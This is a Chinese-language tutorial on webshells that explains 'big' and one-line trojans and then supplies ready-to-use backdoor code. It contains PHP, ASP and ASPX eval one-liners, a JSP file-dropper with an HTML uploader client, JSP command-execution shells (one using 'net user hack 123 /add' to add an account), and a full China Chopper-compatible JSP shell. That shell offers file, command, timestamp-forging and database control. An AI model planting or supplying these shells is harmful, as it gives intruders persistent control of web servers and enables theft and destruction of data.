目錄
Webshell(大馬)
我們經常會看到Webshell，那么，到底什么是Webshell呢？
webshell就是以 asp、aspx、php、jsp 或者cgi等網頁文件形式存在的一種命令執行環境，也可以將其稱做為一種網頁后門。黑客在入侵了一個網站后，通常會將asp、aspx、php或jsp后門文件與網站web服務器目錄下正常的網頁文件混在一起，然后就可以使用瀏覽器來訪問該后門文件了，從而得到一個命令執行環境，以達到控制網站服務器的目的。
顧名思義，“web”的含義是顯然需要服務器開放web服務，“shell”的含義是取得對服務器某種程度上的操作權限。webshell常常被稱為入侵者通過網站端口對網站服務器的某種程度上操作的權限。由於webshell其大多是以動態腳本的形式出現，也有人稱之為網站的后門工具。
一方面，webshell被站長常常用於網站管理、服務器管理等等，根據FSO權限的不同，作用有在線編輯網頁腳本、上傳下載文件、查看數據庫、執行任意程序命令等。
另一方面，被入侵者利用，從而達到控制網站服務器的目的。這些網頁腳本常稱為Web腳本木馬，比較流行的asp或php木馬，也有基於.NET的腳本木馬與JSP腳本木馬。
但是這里所說的木馬都是些體積“龐大”的木馬，也就是黑客中常稱呼的" 大馬 "。
一句話木馬(小馬)
因為上面所介紹webshell概念中提到的大馬在現階段的安全領域中已經被盯的非常緊了，而且各種殺毒軟件和防火牆軟件都對這種“大馬”有了甄別能力，所以如果被滲透的web服務器中安裝了防御軟件的話，留下這種大馬作為自己的webshell就非常困難了，於是一種新型的webshell就橫空出世了，那就是一句話木馬。
簡單來說一句話木馬就是通過向服務端提交一句簡短的代碼來達到向服務器插入木馬並最終獲得webshell的方法。對於不同的語言有不同的構造方法，基本構造是首先出現的是腳本開始的標記，后邊跟着的 eval 或者是 execute 是核心部分，就是獲取並執行后邊得到的內容，而后邊得到的內容，是 request 或者是 $_POST 獲取的值。如果我們通過客戶端向服務器發送，那么就會讓服務器執行我們發送的腳本，掛馬就實現了。
一些不同腳本語言的一句話木馬
php一句話木馬： <?php @eval($_POST[value]); ?>
asp一句話木馬： <%eval request ("value")%> 或 <% execute(request("value")) %>
aspx一句話木馬： <%@ Page Language="Jscript" %> <% eval(Request.Item["value"]) %>
<?php fputs( fopen('xie.php','w') , '<? php eval($_POST[xie]) ?>' ) ; ?>
將當前目錄下創建xie.php文件，並且將一句話木馬寫入xd.php中
一句話木馬原理
拿php的一句話木馬說明一下原理：
在PHP腳本語言中，eval(code) 的功能是將 code 組合成 php 指令，然后將指令執行，其他語言中也是使用此原理，只是函數可能不同。
<?php $a="phpinfo()"; eval("$a;");?> #就相當於執行 phpinfo（); 語句。當利用web中的漏洞將<?php @eval($_POST[value]);?> 一句話插入到了可以被黑客訪問且能被web服務器執行的文件中時，那么我們就可以向此文件提交post數據，post方式提交數據的參數就是這個一句話中的 value，它就稱為一句話木馬的密碼。這樣提交的數據如果是正確的php語言的語句，那么就可以被一句話木馬執行，從而達到黑客的惡意目的。
介紹了一句話木馬的原理后，我們再來說下它的優缺點：
優點：短小精悍，功能強大。
缺點：容易被安全軟件檢測出來。為了增強隱蔽性，也出現了各種一句話木馬的變形。
一句話木馬的變形
黑客的目的，就是想盡辦法給目標網站插入一句話木馬，可以是一個單獨的 .asp 或者是 .php，.aspx 文件，或者是隱藏在某些網頁下。
在上邊的例子中，php 文件很明顯的 eval 可以成為一個靜態特征碼，webshell掃描工具可以以此為關鍵詞，掃描到這種木馬加以屏蔽。
JSP后門腳本
先把下面的代碼保存為 one.jsp (該代碼的作用是可以在當前目錄下生成另外一個指定的文件)，然后上傳到服務器
<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%> 然后將下面的代碼保存為 .html 格式的，直接雙擊本地打開。這是作為客戶端去連接我們剛剛上傳的one.jsp的
<html><head><title>JSP一句話木馬客戶端</title></head><div align=center> <font color=red>專用JSP木馬連接器</font><br><form name=get method=post>服務端地址<input name=url size=110 type=text> <br><br><textarea name=t rows=20 cols=120>你要提交到服務器的代碼</textarea><br>要保存成的文件名：<input name=f size=30 value=shell.jsp><input type=button οnclick="javascript:get.action=document.get.url.value;get.submit()" value=提交> </form> <br>服務端代碼：<br><textarea rows=5 cols=120><%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%> </textarea> </div></body> 我們雙擊打開該html文件
無回顯執行命令
將下面的命令保存為 a.jsp，然后上傳到服務器
<%Runtime.getRuntime().exec(request.getParameter("i"));%>訪問鏈接：http://127.0.0.1:8080/EShop/a.jsp?i=net user hack 123 /add
有回顯帶密碼執行命令
將下面的命令保存為 b.jsp，然后上傳到服務器
<%
if("b".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>訪問鏈接：http://127.0.0.1:8080/EShop/b.jsp?pwd=b&i=ipconfig
JSP一句話木馬
將下面保存為shell.jsp，上傳到服務器，然后用菜刀連接即可
<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
<%!String Pwd = "pass"; //菜刀連接密碼
String EC(String s, String c) throws Exception {
return s;
}//new String(s.getBytes("ISO-8859-1"),c);}
Connection GC(String s) throws Exception {
String[] x = s.trim().split("\r\n");
Class.forName(x[0].trim()).newInstance();
Connection c = DriverManager.getConnection(x[1].trim());
if (x.length > 2) {
c.setCatalog(x[2].trim());
}
return c;
}
void AA(StringBuffer sb) throws Exception {
File r[] = File.listRoots();
for (int i = 0; i < r.length; i++) {
sb.append(r[i].toString().substring(0, 2));
}
}
void BB(String s, StringBuffer sb) throws Exception {
File oF = new File(s), l[] = oF.listFiles();
String sT, sQ, sF = "";
java.util.Date dt;
SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
for (int i = 0; i < l.length; i++) {
dt = new java.util.Date(l[i].lastModified());
sT = fm.format(dt);
sQ = l[i].canRead() ? "R" : "";
sQ += l[i].canWrite() ? " W" : "";
if (l[i].isDirectory()) {
sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length()
+ "\t" + sQ + "\n");
} else {
sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t"
+ sQ + "\n";
}
}
sb.append(sF);
}
void EE(String s) throws Exception {
File f = new File(s);
if (f.isDirectory()) {
File x[] = f.listFiles();
for (int k = 0; k < x.length; k++) {
if (!x[k].delete()) {
EE(x[k].getPath());
}
}
}
f.delete();
}
void FF(String s, HttpServletResponse r) throws Exception {
int n;
byte[] b = new byte[512];
r.reset();
ServletOutputStream os = r.getOutputStream();
BufferedInputStream is = new BufferedInputStream(new FileInputStream(s));
os.write(("->" + "|").getBytes(), 0, 3);
while ((n = is.read(b, 0, 512)) != -1) {
os.write(b, 0, n);
}
os.write(("|" + "<-").getBytes(), 0, 3);
os.close();
is.close();
}
void GG(String s, String d) throws Exception {
String h = "0123456789ABCDEF";
int n;
File f = new File(s);
f.createNewFile();
FileOutputStream os = new FileOutputStream(f);
for (int i = 0; i < d.length(); i += 2) {
os
.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d
.charAt(i + 1))));
}
os.close();
}
void HH(String s, String d) throws Exception {
File sf = new File(s), df = new File(d);
if (sf.isDirectory()) {
if (!df.exists()) {
df.mkdir();
}
File z[] = sf.listFiles();
for (int j = 0; j < z.length; j++) {
HH(s + "/" + z[j].getName(), d + "/" + z[j].getName());
}
} else {
FileInputStream is = new FileInputStream(sf);
FileOutputStream os = new FileOutputStream(df);
int n;
byte[] b = new byte[512];
while ((n = is.read(b, 0, 512)) != -1) {
os.write(b, 0, n);
}
is.close();
os.close();
}
}
void II(String s, String d) throws Exception {
File sf = new File(s), df = new File(d);
sf.renameTo(df);
}
void JJ(String s) throws Exception {
File f = new File(s);
f.mkdir();
}
void KK(String s, String t) throws Exception {
File f = new File(s);
SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
java.util.Date dt = fm.parse(t);
f.setLastModified(dt.getTime());
}
void LL(String s, String d) throws Exception {
URL u = new URL(s);
int n;
FileOutputStream os = new FileOutputStream(d);
HttpURLConnection h = (HttpURLConnection) u.openConnection();
InputStream is = h.getInputStream();
byte[] b = new byte[512];
while ((n = is.read(b, 0, 512)) != -1) {
os.write(b, 0, n);
}
os.close();
is.close();
h.disconnect();
}
void MM(InputStream is, StringBuffer sb) throws Exception {
String l;
BufferedReader br = new BufferedReader(new InputStreamReader(is));
while ((l = br.readLine()) != null) {
sb.append(l + "\r\n");
}
}
void NN(String s, StringBuffer sb) throws Exception {
Connection c = GC(s);
ResultSet r = c.getMetaData().getCatalogs();
while (r.next()) {
sb.append(r.getString(1) + "\t");
}
r.close();
c.close();
}
void OO(String s, StringBuffer sb) throws Exception {
Connection c = GC(s);
String[] t = { "TABLE" };
ResultSet r = c.getMetaData().getTables(null, null, "%", t);
while (r.next()) {
sb.append(r.getString("TABLE_NAME") + "\t");
}
r.close();
c.close();
}
void PP(String s, StringBuffer sb) throws Exception {
String[] x = s.trim().split("\r\n");
Connection c = GC(s);
Statement m = c.createStatement(1005, 1007);
ResultSet r = m.executeQuery("select * from " + x[3]);
ResultSetMetaData d = r.getMetaData();
for (int i = 1; i <= d.getColumnCount(); i++) {
sb.append(d.getColumnName(i) + " (" + d.getColumnTypeName(i)
+ ")\t");
}
r.close();
m.close();
c.close();
}
void QQ(String cs, String s, String q, StringBuffer sb) throws Exception {
int i;
Connection c = GC(s);
Statement m = c.createStatement(1005, 1008);
try {
ResultSet r = m.executeQuery(q);
ResultSetMetaData d = r.getMetaData();
int n = d.getColumnCount();
for (i = 1; i <= n; i++) {
sb.append(d.getColumnName(i) + "\t|\t");
}
sb.append("\r\n");
while (r.next()) {
for (i = 1; i <= n; i++) {
sb.append(EC(r.getString(i), cs) + "\t|\t");
}
sb.append("\r\n");
}
r.close();
} catch (Exception e) {
sb.append("Result\t|\t\r\n");
try {
m.executeUpdate(q);
sb.append("Execute Successfully!\t|\t\r\n");
} catch (Exception ee) {
sb.append(ee.toString() + "\t|\t\r\n");
}
}
m.close();
c.close();
}%>
<%
String cs = request.getParameter("z0")==null?"gbk": request.getParameter("z0") + "";
request.setCharacterEncoding(cs);
response.setContentType("text/html;charset=" + cs);
String Z = EC(request.getParameter(Pwd) + "", cs);
String z1 = EC(request.getParameter("z1") + "", cs);
String z2 = EC(request.getParameter("z2") + "", cs);
StringBuffer sb = new StringBuffer("");
try {
sb.append("->" + "|");
if (Z.equals("A")) {
String s = new File(application.getRealPath(request
.getRequestURI())).getParent();
sb.append(s + "\t");
if (!s.substring(0, 1).equals("/")) {
AA(sb);
}
} else if (Z.equals("B")) {
BB(z1, sb);
} else if (Z.equals("C")) {
String l = "";
BufferedReader br = new BufferedReader(
new InputStreamReader(new FileInputStream(new File(
z1))));
while ((l = br.readLine()) != null) {
sb.append(l + "\r\n");
}
br.close();
} else if (Z.equals("D")) {
BufferedWriter bw = new BufferedWriter(
new OutputStreamWriter(new FileOutputStream(
new File(z1))));
bw.write(z2);
bw.close();
sb.append("1");
} else if (Z.equals("E")) {
EE(z1);
sb.append("1");
} else if (Z.equals("F")) {
FF(z1, response);
} else if (Z.equals("G")) {
GG(z1, z2);
sb.append("1");
} else if (Z.equals("H")) {
HH(z1, z2);
sb.append("1");
} else if (Z.equals("I")) {
II(z1, z2);
sb.append("1");
} else if (Z.equals("J")) {
JJ(z1);
sb.append("1");
} else if (Z.equals("K")) {
KK(z1, z2);
sb.append("1");
} else if (Z.equals("L")) {
LL(z1, z2);
sb.append("1");
} else if (Z.equals("M")) {
String[] c = { z1.substring(2), z1.substring(0, 2), z2 };
Process p = Runtime.getRuntime().exec(c);
MM(p.getInputStream(), sb);
MM(p.getErrorStream(), sb);
} else if (Z.equals("N")) {
NN(z1, sb);
} else if (Z.equals("O")) {
OO(z1, sb);
} else if (Z.equals("P")) {
PP(z1, sb);
} else if (Z.equals("Q")) {
QQ(cs, z1, z2, sb);
}
} catch (Exception e) {
sb.append("ERROR" + ":// " + e.toString());
}
sb.append("|" + "<-");
out.print(sb.toString());
%>更多的關於一句話木馬的變形，傳送門——> 中國菜刀之寫一句話木馬變形